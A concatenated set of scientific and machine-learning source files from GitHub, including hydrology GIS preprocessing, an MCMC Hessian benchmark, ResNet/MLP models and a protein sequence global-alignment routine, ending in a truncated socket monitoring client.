_, _ = read_AsciiGrid(fpath + 'slope_16m.asc')\n #twi\n twi, _, _, _, _ = read_AsciiGrid(fpath + 'twi_16m.asc')\n \n #Maastotietokanta water bodies: 1=waterbody\n stream, _, _, _, _ = read_AsciiGrid(fpath +'vesielementit_1_0.asc')\n stream[stream == 0.0] = np.NaN\n stream[np.isfinite(stream)]=1.0 \n #maastotietokanta peatlandmask\n #peatm, _, _, _, _ = read_AsciiGrid(fpath + 'suo_mtk.asc')\n peatm = np.ones([nrows, ncols])*np.NaN\n #peatm[np.isfinite(peatm)]=1.0 \n #maastotietokanta kalliomaski\n #rockm, _, _, _, _ = read_AsciiGrid(fpath +'kallioalue_mtk.asc')\n #rockm[np.isfinite(rockm)]=1.0 \n rockm = peatm.copy()\n \n \"\"\" stand data (MNFI)\"\"\"\n\n #stand volume [m3ha-1]\n vol, _, _, _, _ = read_AsciiGrid(fpath +'tilavuus.asc', setnans=False)\n vol=vol*cmask\n #indexes for cells not recognized in mNFI\n ix_n=np.where((vol>=32727) | (vol==-9999) ) #no satellite cover or not forest land: assign arbitrary values \n ix_p=np.where((vol>=32727) & (peatm==1))#open peatlands: assign arbitrary values\n ix_w=np.where((vol>=32727) & (stream==1)) #waterbodies: leave out\n cmask[ix_w]=np.NaN #*********** NOTE: leave waterbodies out of catchment mask !!!!!!!!!!!!!!!!!!!!!!\n vol[ix_n]=nofor['vol']; vol[ix_p]=opeatl['vol']; vol[ix_w]=np.NaN\n #basal area [m2 ha-1]\n ba, _, _, _, _ = read_AsciiGrid(fpath +'ppa.asc') \n ba[ix_n]=nofor['ba']; ba[ix_p]=opeatl['ba']; ba[ix_w]=np.NaN\n \n #tree height [m]\n height, _, _, _, _ = read_AsciiGrid(fpath +'keskipituus.asc')\n height=0.1*height #m \n height[ix_n]=nofor['height']; height[ix_p]=opeatl['height']; height[ix_w]=np.NaN\n \n #canopy closure [-] \n cf, _, _, _, _ = read_AsciiGrid(fpath +'latvuspeitto.asc') \n cfd, _, _, _, _ = read_AsciiGrid(fpath +'lehtip_latvuspeitto.asc')\n cf=1e-2*cf; cfd=1e-2*cfd; #in fraction\n cf[ix_n]=nofor['cf']; cf[ix_p]=opeatl['cf']; cf[ix_w]=np.NaN\n \n #stand age [yrs]\n age, _, _, _, _ = read_AsciiGrid(fpath +'ika.asc')\n age[ix_n]=nofor['age']; age[ix_p]=opeatl['age']; age[ix_w]=np.NaN\n \n #leaf biomasses and one-sided LAI\n bmleaf_pine, _, _, _, _ = read_AsciiGrid(fpath +'bm_manty_neulaset.asc')\n bmleaf_spruce, _, _, _, _ = read_AsciiGrid(fpath +'bm_kuusi_neulaset.asc')\n bmleaf_decid, _, _, _, _ = read_AsciiGrid(fpath +'bm_lehtip_neulaset.asc')\n # bmleaf_pine[ix_n]=np.NaN; bmleaf_spruce[ix_n]=np.NaN; bmleaf_decid[ix_n]=np.NaN;\n \n LAI_pine=1e-3*bmleaf_pine*SLA['pine'] #1e-3 converts 10kg/ha to kg/m2\n LAI_pine[ix_n]=nofor['LAIpine']; LAI_pine[ix_p]=opeatl['LAIpine']; age[ix_w]=np.NaN\n \n LAI_spruce=1e-3*bmleaf_spruce*SLA['spruce'] #1e-3 converts 10kg/ha to kg/m2\n LAI_spruce[ix_n]=nofor['LAIspruce']; LAI_spruce[ix_p]=opeatl['LAIspruce']; age[ix_w]=np.NaN\n \n LAI_conif = LAI_spruce + LAI_pine\n \n LAI_decid=1e-3*bmleaf_decid*SLA['decid'] #1e-3 converts 10kg/ha to kg/m2\n LAI_decid[ix_n]=nofor['LAIdecid']; LAI_decid[ix_p]=opeatl['LAIdecid']; age[ix_w]=np.NaN \n \n bmroot_pine, _, _, _, _ = read_AsciiGrid(fpath +'bm_manty_juuret.asc')\n bmroot_spruce, _, _, _, _ = read_AsciiGrid(fpath +'bm_kuusi_juuret.asc')\n bmroot_decid, _, _, _, _ = read_AsciiGrid(fpath +'bm_lehtip_juuret.asc') \n bmroot=1e-2*(bmroot_pine + bmroot_spruce + bmroot_decid) #1000 kg/ha \n bmroot[ix_n]=nofor['bmroot']; bmroot[ix_p]=opeatl['bmroot']; age[ix_w]=np.NaN \n \n \"\"\"\n gtk soilmap: read and re-classify into 4 texture classes\n #GTK-pintamaalaji grouped to 4 classes (Samuli Launiainen, Jan 7, 2017)\n #Codes based on maalaji 1:20 000 AND ADD HERE ALSO 1:200 000\n \"\"\"\n CoarseTextured = [195213,195314,19531421,195313,195310]\n MediumTextured = [195315,19531521,195215,195214,195601,195411,195112,195311,195113,195111,195210,195110,195312]\n FineTextured = [19531521, 195412,19541221,195511,195413,195410,19541321,195618]\n Peats = [195512,195513,195514,19551822,19551891,19551892]\n Water =[195603]\n\n gtk_s, _, _, _, _ = read_AsciiGrid(fpath +'soil.asc') \n\n r,c=np.shape(gtk_s);\n soil=np.ravel(gtk_s); del gtk_s\n soil[np.in1d(soil, CoarseTextured)]=1.0 #; soil[f]=1; del f\n soil[np.in1d(soil, MediumTextured)]=2.0\n soil[np.in1d(soil, FineTextured)]=3.0\n soil[np.in1d(soil, Peats)]=4.0\n soil[np.in1d(soil, Water)]=-1.0\n \n #soil[soil>4.0]=-1.0;\n #reshape back to original grid\n soil=soil.reshape(r,c)*cmask; del r,c\n soil[np.isfinite(peatm)]=4.0\n #update waterbody mask \n ix=np.where(soil==-1.0)\n stream[ix]=1.0 \n\n # update catchment mask so that water bodies are left out (SL 20.2.18)\n #cmask[soil == -1.0] = np.NaN\n cmask[soil <= 0] = np.NaN\n soil = soil * cmask\n \n #catchment outlet location\n (iy,ix)=np.where(flowacc==np.nanmax(flowacc));\n loc={'lat':lat0[iy],'lon':lon0[ix],'elev': np.nanmean(dem)}\n \n # harvester driving route and location of test sites\n\n route, _, _, _, _ = read_AsciiGrid(fpath +'route.asc')\n test_sites, _, _, _, _ = read_AsciiGrid(fpath +'test_sites.asc')\n \n GisData={'cmask':cmask, 'dem':dem, 'flowacc': flowacc, 'slope': slope, 'twi': twi, 'soilclass':soil,\n 'peatm':peatm, 'stream': stream, 'rockm': rockm,'LAI_pine': LAI_pine,\n 'LAI_spruce': LAI_spruce, 'LAI_conif': LAI_conif, 'LAI_decid': LAI_decid,\n 'bmroot': bmroot, 'ba': ba, 'hc': height, 'vol':vol,'cf':cf, 'cfd': cfd,\n 'age': age, 'route': route, 'test_sites': test_sites, \n 'cellsize': cellsize, 'info': info, 'lat0':lat0, 'lon0':lon0,'loc':loc} \n\n if plotgrids is True:\n #%matplotlib qt\n #xx,yy=np.meshgrid(lon0, lat0)\n plt.close('all')\n \n plt.figure() \n plt.subplot(221);plt.imshow(dem); plt.colorbar(); plt.title('DEM (m)');plt.plot(ix,iy,'rs')\n plt.subplot(222);plt.imshow(twi); plt.colorbar(); plt.title('TWI')\n plt.subplot(223);plt.imshow(slope); plt.colorbar(); plt.title('slope(deg)')\n plt.subplot(224);plt.imshow(flowacc); plt.colorbar(); plt.title('flowacc (m2)')\n #\n plt.figure()\n plt.subplot(221); plt.imshow(soil); plt.colorbar(); plt.title('soiltype')\n mask=cmask.copy()*0.0\n mask[np.isfinite(peatm)]=1; mask[np.isfinite(rockm)]=2; mask[np.isfinite(stream)]=3; \n plt.subplot(222); plt.imshow(mask); plt.colorbar(); plt.title('masks')\n plt.subplot(223); plt.imshow(LAI_pine+LAI_spruce + LAI_decid); plt.colorbar(); plt.title('LAI (m2/m2)')\n plt.subplot(224); plt.imshow(cf); plt.colorbar(); plt.title('cf (-)')\n \n plt.figure()\n plt.subplot(221);plt.imshow(vol); plt.colorbar(); plt.title('vol (m3/ha)')\n plt.subplot(222);plt.imshow(height); plt.colorbar(); plt.title('hc (m)')\n plt.subplot(223);plt.imshow(ba); plt.colorbar(); plt.title('ba (m2/ha)')\n plt.subplot(224);plt.imshow(age); plt.colorbar(); plt.title('age (yr)')\n \n if plotdistr is True:\n plt.figure() \n #twi\n twi0=twi[np.isfinite(twi)]; vol=vol[np.isfinite(vol)]; lai=LAI_pine + LAI_spruce + LAI_decid\n lai=lai[np.isfinite(lai)];soil0=soil[np.isfinite(soil)]\n \n plt.subplot(221); plt.hist(twi0,bins=100,color='b',alpha=0.5,normed=True); plt.ylabel('f');plt.ylabel('twi')\n \n s=np.unique(soil0); print(s)\n colcode='rgcym'\n for k in range(0,len(s)):\n print(k)\n a=twi[np.where(soil==s[k])]; a=a[np.isfinite(a)]\n plt.hist(a,bins=50,alpha=0.5,color=colcode[k], normed=True, label='soil ' +str(s[k]))\n plt.legend(); plt.show()\n \n plt.subplot(222); plt.hist(vol,bins=100,color='k',normed=True); plt.ylabel('f');plt.ylabel('vol')\n plt.subplot(223); plt.hist(lai,bins=100,color='g',normed=True); plt.ylabel('f');plt.ylabel('lai')\n plt.subplot(224); plt.hist(soil0, bins=5,color='r',normed=True); plt.ylabel('f');plt.ylabel('soiltype')\n\n \n return GisData\n \n\n\n\"\"\" ************************ Forcing data, sitefile ************************** \"\"\"\ndef read_FMI_weatherdata(forcfile, fyear,lyear, asdict=False):\n \"\"\" \n reads FMI interpolated daily weather data from file containing single point\n IN: \n forcfile- filename \n fyear & lyear - first and last years \n asdict=True if dict output, else pd.dataframe\n OUT: F -pd.DataFrame with columns (or dict with fields):\n time, doy, Ta, Tmin, Tmax (degC), Prec (mm/d), Rg (Wm-2), VPD (kPa), RH (%), esa (kPa), h2o (kPa), dds (degC, degree-day sum)\n \n \"\"\"\n \n #OmaTunniste;OmaItä;OmaPohjoinen;Kunta;siteid;vuosi;kk;paiva;longitude;latitude;t_mean;t_max;t_min;\n #rainfall;radiation;hpa;lamposumma_v;rainfall_v;lamposumma;lamposumma_cum\n #-site number\n #-date (yyyy mm dd)\n #-latitude (in KKJ coordinates, metres)\n #-longitude (in KKJ coordinates, metres)\n #-T_mean (degrees celcius)\n #-T_max (degrees celcius)\n #-T_min (degrees celcius)\n #-rainfall (mm)\n #-global radiation (per day in kJ/m2)\n #-H2O partial pressure (hPa)\n\n from datetime import datetime\n #forcfile='c:\\\\pyspace\\\\DATAT\\\\Topmodel_calibr\\\\FMI_saa_Porkkavaara.csv'\n\n #import forcing data\n dat=np.genfromtxt(forcfile,dtype=float,delimiter=';', usecols=(5,6,7,10,11,12,13,14,15,16))\n\n fi=np.where(dat[:,0]>=fyear); li=np.where(dat[:,0]<=lyear)\n ix=np.intersect1d(fi,li); #del fi, li\n #print min(ix), max(ix), np.shape(ix)\n tvec=dat[ix,0:3] #YYYY MM DD\n\n dat=dat[ix, 3:] \n\n time=[]; doy=[]\n for k in range(0,len(tvec)):\n time.append(datetime( int(tvec[k,0]), int(tvec[k,1]), int(tvec[k,2]), 0, 0) )\n doy.append(time[k].timetuple().tm_yday)\n \n time=np.array(time)\n doy=np.array(doy)\n \n Ta=dat[:,0];Tmax=dat[:,1]; Tmin=dat[:,2]; Prec=dat[:,3]; Rg=1e3*dat[:,4]/86400.0; Par=Rg*0.5 #from kJ/m2/d-1 to Wm-2 \n e=1e-1*dat[:,5]; #hPa-->kPa\n dds=dat[:,6] #temperature sum\n\n #saturated vapor pressure \n esa=0.6112*np.exp((17.67*Ta)/ (Ta +273.16 -29.66)) #kPa\n vpd=esa - e; #kPa \n vpd[vpd<0]=0.0\n rh=100.0*e/esa;\n rh[rh<0]=0.0; rh[rh>100]=100.0\n \n F={'Ta':Ta, 'Tmin':Tmin, 'Tmax':Tmax, 'Prec':Prec, 'Rg':Rg, 'Par': Par, 'VPD':vpd, 'RH':rh, 'esa':esa, 'h2o':e, 'dds':dds}\n\n F['time']=time\n F['doy']=doy\n \n ix=np.where(np.isnan(F['Prec'])); \n F['Prec'][ix]=0.0\n #del dat, fields, n, k, time\n \n if asdict is not True:\n #return pandas dataframe\n F=pd.DataFrame(F)\n cols=['time', 'doy', 'Ta', 'Tmin','Tmax', 'Prec', 'Rg', 'Par', 'VPD', 'RH', 'esa', 'h2o', 'dds']\n F=F[cols]\n return F\n \n# \"\"\" ******* functions to read Hyde data for CanopyGrid calibration ******** \"\"\"\n\n\n# def read_HydeDaily(filename):\n\n# cols=['time','doy','NEE','GPP','TER','ET','H','NEEflag','ETflag','Hflag','Par','Rnet','Ta','VPD','CO2','PrecSmear','Prec','U','Pamb',\n# 'SWE0','SWCh','SWCa','SWCb','SWCc', 'Tsh','Tsa','Tsb','Tsc','RnetFlag','Trfall','Snowdepth','Snowdepthstd','SWE','SWEstd','Roff1','Roff2'] \n \n# dat=pd.read_csv(filename,sep='\\s+',header=None, names=None, parse_dates=[[0,1,2]], keep_date_col=False)\n# dat.columns=cols\n# dat.index=dat['time']; dat=dat.drop(['time','SWE0'],axis=1)\n \n# forc=dat[['doy','Ta','VPD','Prec','Par','U']]; forc['Par']= 1/4.6*forc['Par']; forc['Rg']=2.0*forc['Par']\n# forc['VPD'][forc['VPD']<=0]=eps\n \n# #relatively extractable water, Hyde A-horizon\n# #poros = 0.45 \n# fc = 0.30\n# wp = 0.10\n# Wliq = dat['SWCa']\n# Rew = np.maximum( 0.0, np.minimum( (Wliq-wp)/(fc - wp + eps), 1.0) )\n# forc['Rew'] = Rew\n# forc['CO2'] = 380.0\n# # beta, soil evaporation parameter \n# #forc['beta'] = Wliq / fc\n# return dat, forc\n \n \n# def read_CageDaily(filepath):\n \n# cols=['time','doy','NEE','GPP','TER','ET','H','NEEflag','ETflag','Hflag','Par','Rnet','Ta','VPD','CO2','SWCa','PrecSmear','Prec','U','Pamb'] \n \n# dat1=pd.read_csv(filepath + 'HydeCage4yr-2000.txt',sep='\\s+',header=None, names=None, parse_dates=[[0,1,2]], keep_date_col=False)\n# dat1.columns=cols\n# dat1.index=dat1['time']; dat1=dat1.drop('time',axis=1)\n# forc1=dat1[['doy','Ta','VPD','Prec','Par','U']]; forc1['Par']= 1/4.6*forc1['Par']; forc1['Rg']=2.0*forc1['Par']\n \n# dat2=pd.read_csv(filepath + 'HydeCage12yr-2002.txt',sep='\\s+',header=None, names=None, parse_dates=[[0,1,2]], keep_date_col=False)\n# dat2.columns=cols\n# dat2.index=dat2['time']; dat2=dat2.drop('time',axis=1)\n# forc2=dat2[['doy','Ta','VPD','Prec','Par','U']]; forc2['Par']= 1/4.6*forc2['Par']; forc2['Rg']=2.0*forc2['Par']\n# return dat1, dat2,forc1,forc2\n","repo_name":"LukeEcomod/VMI_KAS","sub_path":"spafhy/spafhy_preprocessing.py","file_name":"spafhy_preprocessing.py","file_ext":"py","file_size_in_byte":34677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70647421389","text":"import time\nimport copy\nimport warnings\n\nimport numpy as np\n\nfrom scipy.stats import multivariate_normal as mvn\n\nfrom helpers.cov_matrix import correct_hessian\nfrom helpers.distributions import product_multivariate_gaussian as pmvn\nfrom parameter.mcmc.mh_quasi_newton import QuasiNewtonMetropolisHastings\n\n\nclass QuasiNewtonMetropolisHastingsBenchmark(QuasiNewtonMetropolisHastings):\n \"\"\"Helper for checking the accuracy of the quasi-Newton estimate of the\n Hessian when mMALA is running the main chain.\"\"\"\n current_iter = 0\n start_time = 0\n time_offset = 0\n run_time = 0\n time_per_iter = 0\n no_hessians_corrected = 0\n iter_hessians_corrected = []\n\n def __init__(self, model, settings=None):\n \"\"\" Constructor. See the constructor for parameter.mcmc.mh_quasi_newton\n for all the settings. \"\"\"\n super().__init__(model, settings)\n self.type = 'qmh_benchmark'\n self.alg_type = 'qmh_benchmark'\n\n def _estimate_state(self, estimator, proposed_state, state_history):\n # Get adapted step sizes (if there are any) otherwise use fixed\n if 'adapted_step_size' in proposed_state:\n step_size_gradient = 0.5 * proposed_state['adapted_step_size']**2\n step_size_hessian = proposed_state['adapted_step_size']**2\n else:\n step_size_gradient = 0.5 * self.settings['step_size_gradient']**2\n step_size_hessian = self.settings['step_size_hessian']**2\n\n # Check if there is an empirical estimate of the Hessian to use\n # as the fallback\n if type(self.emp_hessian) is np.ndarray:\n alt_hess = self.emp_hessian\n else:\n alt_hess = self.settings['hess_corr_fallback']\n\n hess_corr = self.settings['hess_corr_method']\n\n # Run the smoother to get likelihood and state estimate\n warnings.filterwarnings(\"error\")\n try:\n self.model.store_free_params(proposed_state['params_free'])\n log_jacobian = self.model.log_jacobian()\n _, log_prior = self.model.log_prior()\n except:\n print(\"MH-QN-benchmark: Storing parameters failed...\")\n return False\n\n if self.settings['correlated_rvs'] and estimator.alg_type is not 'kalman':\n rvs = {'rvs': proposed_state['rvs']}\n smoother_completed = estimator.smoother(\n self.model, compute_hessian=True, rvs=rvs)\n else:\n smoother_completed = estimator.smoother(\n self.model, compute_hessian=True)\n\n if not smoother_completed:\n print(\"MH-QN-benchmark: Smoother failed...\")\n return False\n\n log_like = estimator.results['log_like']\n state_trajectory = estimator.results['state_trajectory']\n grad = estimator.results['gradient_internal']\n hess = np.linalg.inv(estimator.results['hessian_internal'])\n grad_copy = np.array(grad, copy=True)\n\n # Run benchmark with different Quasi-Newton proposals\n memory_length_vector = (5, 10, 15, 20, 25, 30, 35, 40, 45, 50)\n error_bfgs_fro = []\n error_ls_fro = []\n error_sr1_fro = []\n\n if self.current_iter > self.settings['memory_length']:\n for i, memory_length in enumerate(memory_length_vector):\n params_diffs, grads_diffs = self._qn_compute_diffs(\n state_history, memory_length=memory_length)\n\n init_hessian = self._qn_init_hessian(grad)\n init_hessian_ls = state_history\n\n hess_bfgs, _ = self._qn_bfgs(\n params_diffs, grads_diffs, init_hessian)\n hess_bfgs, _ = correct_hessian(\n hess_bfgs, alt_hess, hess_corr, verbose=False)\n\n hess_ls, _ = self._qn_ls(\n params_diffs, grads_diffs, init_hessian_ls)\n hess_ls, _ = correct_hessian(\n hess_ls, alt_hess, hess_corr, verbose=False)\n\n hess_sr1, _ = self._qn_sr1(\n params_diffs, grads_diffs, init_hessian)\n hess_sr1, _ = correct_hessian(\n hess_sr1, alt_hess, hess_corr, verbose=False)\n\n hess_direct = np.linalg.inv(\n estimator.results['hessian_internal_noprior'])\n\n error_bfgs_fro.append(np.linalg.norm(\n hess_direct - hess_bfgs, 'fro'))\n error_ls_fro.append(np.linalg.norm(\n hess_direct - hess_ls, 'fro'))\n error_sr1_fro.append(np.linalg.norm(\n hess_direct - hess_sr1, 'fro'))\n\n hess, fixed_hess = correct_hessian(\n hess, alt_hess, hess_corr, verbose=False)\n\n grad = estimator.results['gradient_internal']\n nat_grad = hess @ grad\n if np.isfinite(step_size_hessian) and np.isfinite(step_size_gradient):\n output_hess = np.array(hess, copy=True) * step_size_hessian\n output_nat_grad = np.array(\n nat_grad, copy=True) * step_size_gradient\n else:\n print(\"MH-QN-benchmark: Gradient or Hessian not finite.\")\n return False\n\n proposed_state.update({'params': self.model.get_params()})\n proposed_state.update({'state_trajectory': state_trajectory})\n proposed_state.update({'log_like': log_like})\n proposed_state.update({'log_jacobian': log_jacobian})\n proposed_state.update({'log_prior': log_prior})\n proposed_state.update({'log_target': log_prior + log_like})\n proposed_state.update({'gradient': grad_copy})\n proposed_state.update({'nat_gradient': output_nat_grad})\n proposed_state.update({'hessian': output_hess})\n proposed_state.update({'hessian_corrected': fixed_hess})\n proposed_state.update({'error_bfgs_fro': np.array(error_bfgs_fro)})\n proposed_state.update({'error_ls_fro': np.array(error_ls_fro)})\n proposed_state.update({'error_sr1_fro': np.array(error_sr1_fro)})\n return True\n\n def _qn_compute_diffs(self, state_history, memory_length):\n no_params = self.no_params_to_estimate\n\n # Extract parameters, gradients and log-target for the current length\n # of memory\n params = np.zeros((memory_length - 1, no_params))\n grads = np.zeros((memory_length - 1, no_params))\n losses = np.zeros((memory_length - 1, 1))\n j = 0\n for i in range(self.current_iter - memory_length + 1, self.current_iter):\n params[j, :] = state_history[i]['params_free'].flatten()\n grads[j, :] = state_history[i]['gradient'].flatten()\n losses[j, :] = float(state_history[i]['log_target'])\n losses[j, :] += float(state_history[i]['log_prior'])\n j += 1\n\n # Sort and compute differences\n idx = np.argsort(losses.flatten())\n params = params[idx, :]\n grads = grads[idx, :]\n\n params_diffs = np.zeros((memory_length - 2, no_params))\n grads_diffs = np.zeros((memory_length - 2, no_params))\n for i in range(len(idx) - 1):\n params_diffs[i, :] = params[i + 1, :] - params[i, :]\n grads_diffs[i, :] = grads[i + 1, :] - grads[i, :]\n\n return params_diffs, grads_diffs\n","repo_name":"compops/pmmh-qn","sub_path":"python/parameter/mcmc/mh_quasi_newton_benchmark.py","file_name":"mh_quasi_newton_benchmark.py","file_ext":"py","file_size_in_byte":7260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"12770201613","text":"import base64\r\n\r\n\r\nimport PIL\r\n\r\n\r\n\r\n\r\ndef writeImageToDisk(base64Img,name):\r\n basemod = base64Img.replace(\"b'\",\"'\")\r\n img = bytes(basemod , encoding=\"UTF-8\")\r\n filename = name+\".jpg\"\r\n print(img)\r\n with open(filename, \"wb\") as fh:\r\n fh.write(base64.decodebytes(img))\r\n","repo_name":"othierie/SGF-Viya-Streaming-Integration","sub_path":"kafka-python-framework/src/dataUtils/ReadImage.py","file_name":"ReadImage.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34307325981","text":"# need to have this in the compiled gentle folder\nimport logging\nimport multiprocessing\nimport os\nimport sys\nimport gentle\n\ndef align_process(path_to_audio, lyrics_file):\n disfluencies = set(['uh', 'um'])\n \n def on_progress(p):\n for k,v in p.items():\n logging.debug(\"%s: %s\" % (k, v))\n\n with open(lyrics_file, encoding=\"utf-8\") as fh:\n transcript = fh.read()\n\n resources = gentle.Resources()\n \n with gentle.resampled(path_to_audio) as wavfile:\n aligner = gentle.ForcedAligner(resources, transcript, nthreads=multiprocessing.cpu_count(), disfluency=False, conservative=False, disfluencies=disfluencies)\n result = aligner.transcribe(wavfile, progress_cb=on_progress, logging=logging)\n\n return result.to_json(indent=2)\n\n#Testing...\nif __name__ == \"__main__\":\n # sample test\n result = align_process(\"audio.mp3\", \"words.txt\")\n print(result)","repo_name":"ST2-EV/lyrixy","sub_path":"force_align.py","file_name":"force_align.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"11909318058","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.models as models\n\n\nclass GroupNorm32(torch.nn.GroupNorm):\n def __init__(self, num_channels, num_groups=32, **kargs):\n super().__init__(num_groups, num_channels, **kargs)\n\n\nclass ResNet(nn.Module):\n def __init__(self, pretrained=False, num_classes=10, small_kernel=True, backbone='resnet18', args=None):\n super(ResNet, self).__init__()\n\n # Load the pretrained ResNet model\n if args.norm_type == 'bn':\n resnet_model = models.__dict__[backbone](pretrained=pretrained)\n else:\n resnet_model = models.__dict__[backbone](pretrained=pretrained, norm_layer=GroupNorm32)\n\n if small_kernel:\n conv1_out_ch = resnet_model.conv1.out_channels\n if args.dset in ['fmnist']:\n resnet_model.conv1 = nn.Conv2d(1, conv1_out_ch, kernel_size=3, stride=1, padding=1, bias=False) # Small dataset filter size used by He et al. (2015)\n else:\n resnet_model.conv1 = nn.Conv2d(3, conv1_out_ch, kernel_size=3, stride=1, padding=1, bias=False) # Small dataset filter size used by He et al. (2015)\n resnet_model.maxpool = nn.MaxPool2d(kernel_size=1, stride=1, padding=0)\n\n # Isolate the feature extraction layers\n self.features = nn.Sequential(*list(resnet_model.children())[:-1])\n\n # Isolate the classifier layer\n self.classifier = nn.Linear(resnet_model.fc.in_features, num_classes)\n\n if args.ETF_fc:\n weight = torch.sqrt(torch.tensor(num_classes / (num_classes - 1))) * (\n torch.eye(num_classes) - (1 / num_classes) * torch.ones((num_classes, num_classes)))\n weight /= torch.sqrt((1 / num_classes * torch.norm(weight, 'fro') ** 2))\n\n self.classifier.weight = nn.Parameter(torch.mm(weight, torch.eye(num_classes, resnet_model.fc.in_features)))\n self.classifier.weight.requires_grad_(False)\n\n if args.ckpt not in ['', 'null', 'none']:\n pretrain_wt = torch.load(args.ckpt)\n if args.load_fc: # load both feature extractor and fc\n pass\n else: # not load fc\n pretrain_wt = {k: v for k, v in pretrain_wt.items() if 'classifier' not in k}\n self.load_state_dict(pretrain_wt, strict=False)\n\n def forward(self, x, ret_feat=False):\n x = self.features(x)\n x = x.view(x.size(0), -1)\n out = self.classifier(x)\n\n if ret_feat:\n return out, x\n else:\n return out\n\n\nclass MLP(nn.Module):\n def __init__(self, hidden, depth=6, fc_bias=True, num_classes=10):\n # Depth means how many layers before final linear layer\n\n super(MLP, self).__init__()\n layers = [nn.Linear(3072, hidden), nn.BatchNorm1d(num_features=hidden), nn.ReLU()]\n for i in range(depth - 1):\n layers += [nn.Linear(hidden, hidden), nn.BatchNorm1d(num_features=hidden), nn.ReLU()]\n\n self.layers = nn.Sequential(*layers)\n self.fc = nn.Linear(hidden, num_classes, bias=fc_bias)\n print(fc_bias)\n\n def forward(self, x, ret_feat=False):\n x = x.view(x.shape[0], -1)\n x = self.layers(x)\n features = F.normalize(x)\n x = self.fc(x)\n if ret_feat:\n return x, features\n else:\n return x\n","repo_name":"glbreeze/neural_collapse","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"31737488365","text":"import numpy as np\nfrom Bio import SeqIO\nfrom Bio.Align import substitution_matrices\n\nH = np.int16(-11) # gap opening penalty\nG = np.int16(-1) # gap extension penalty\n\nS = np.array(substitution_matrices.load(\"BLOSUM62\"), dtype=np.int8) # Scoring matrix\n\nCONV_TABLE = { # Table for converting letter to index in BLOSUM62\n 'A': 0, 'R': 1, 'N': 2, 'D': 3, 'C': 4, 'Q': 5, 'E': 6, 'G': 7, 'H': 8, 'I': 9, 'L': 10, 'K': 11, 'M': 12, 'F': 13,\n 'P': 14, 'S': 15, 'T': 16, 'W': 17, 'Y': 18, 'V': 19, 'B': 20, 'Z': 21, 'X': 22, '*': 23,\n}\n\n\ndef parse_fasta_file(fasta_file_path: str) -> tuple[np.ndarray, np.ndarray]:\n records = list(SeqIO.parse(fasta_file_path, 'fasta'))\n assert len(records) == 2, \"wrong number of records in the provided fasta file\"\n return np.array(records[0].seq), np.array(records[1].seq)\n\n\ndef sequence_to_indices(seq: np.ndarray):\n index_sequence = np.zeros(len(seq), dtype=np.int8)\n for i, letter in enumerate(seq):\n index_sequence[i] = CONV_TABLE[letter]\n return index_sequence\n\n\ndef construct_matrix(index_seq_a: np.ndarray, index_seq_b: np.ndarray) -> np.array:\n # Initialise matrix\n m = np.zeros((index_seq_b.size + 1, index_seq_a.size + 1, 3), dtype=np.int16)\n m[0][0] = [0, 0, 0]\n for j in range(1, index_seq_a.size + 1):\n m[0][j] = [-32768 / 2, (j - 1) * G + H, (j - 1) * G + H]\n for i in range(1, index_seq_b.size + 1):\n m[i][0] = [(i - 1) * G + H, (i - 1) * G + H, -32768 / 2]\n\n # Construct matrix\n for i in range(1, index_seq_b.size + 1):\n for j in range(1, index_seq_a.size + 1):\n m[i][j][0] = max(m[i - 1][j][0] + G, m[i - 1][j][1] + H)\n m[i][j][2] = max(m[i][j - 1][2] + G, m[i][j - 1][1] + H)\n m[i][j][1] = max(m[i - 1][j - 1][1] + S[index_seq_a[j - 1]][index_seq_b[i - 1]], m[i][j][0], m[i][j][2])\n\n # Return matrix\n return m\n\n\ndef global_alignment_score(fasta_file_path: str) -> int:\n seq_a, seq_b = parse_fasta_file(fasta_file_path)\n index_seq_a = sequence_to_indices(seq_a)\n index_seq_b = sequence_to_indices(seq_b)\n m = construct_matrix(index_seq_a, index_seq_b)\n return np.amax(m[-1][-1])\n\n\nDIRS = [(-1, 0), (-1, -1), (0, -1)]\n\n\ndef global_alignment(fasta_file_path: str) -> tuple[str, str]:\n # Parse sequences from file and construct matrix\n seq_a, seq_b = parse_fasta_file(fasta_file_path)\n index_seq_a = sequence_to_indices(seq_a)\n index_seq_b = sequence_to_indices(seq_b)\n m = construct_matrix(index_seq_a, index_seq_b)\n\n # Initialise traceback\n seq_a_aligned = []\n seq_b_aligned = []\n\n i = m.shape[0] - 1\n j = m.shape[1] - 1\n platform = 1\n\n # Traceback\n while i > 0 or j > 0:\n # Decide direction and platform\n i_dirs = platform\n if platform == 1:\n i_dirs = np.argmax([m[i][j][0], m[i - 1][j - 1][1] + S[index_seq_a[j - 1]][index_seq_b[i - 1]], m[i][j][2]])\n\n if i_dirs == 0:\n platform = 0 if m[i - 1][j][0] + G > m[i - 1][j][1] + H else 1\n elif i_dirs == 2:\n platform = 2 if m[i][j - 1][2] + G > m[i][j - 1][1] + H else 1\n\n seq_a_aligned.append('-' if i_dirs == 0 else seq_a[j - 1])\n seq_b_aligned.append('-' if i_dirs == 2 else seq_b[i - 1])\n\n i += DIRS[i_dirs][0]\n j += DIRS[i_dirs][1]\n\n seq_a_aligned = ''.join(np.flip(seq_a_aligned))\n seq_b_aligned = ''.join(np.flip(seq_b_aligned))\n\n return seq_a_aligned, seq_b_aligned\n","repo_name":"eliasnijs/global-alignment","sub_path":"global_alignment.py","file_name":"global_alignment.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73763127309","text":"import socket, time, pickle\n\n# Função que imprime a lista formatada\ndef imprime(l):\n print(f\"\"\"\n pid: {l['pid']}\n ip: {l['ip']}\n mem_total: {l['memoria_total']}\n mem_usado: {l['memoria_usada']}\n cpu: {l['cpu']}\n disco_total: {l['disco_total']}\n disco_usado: {l['disco_usado']}\n \n \"\"\")\n\n# Cria o socket\ns = socket.socket(socket.AF_INET, 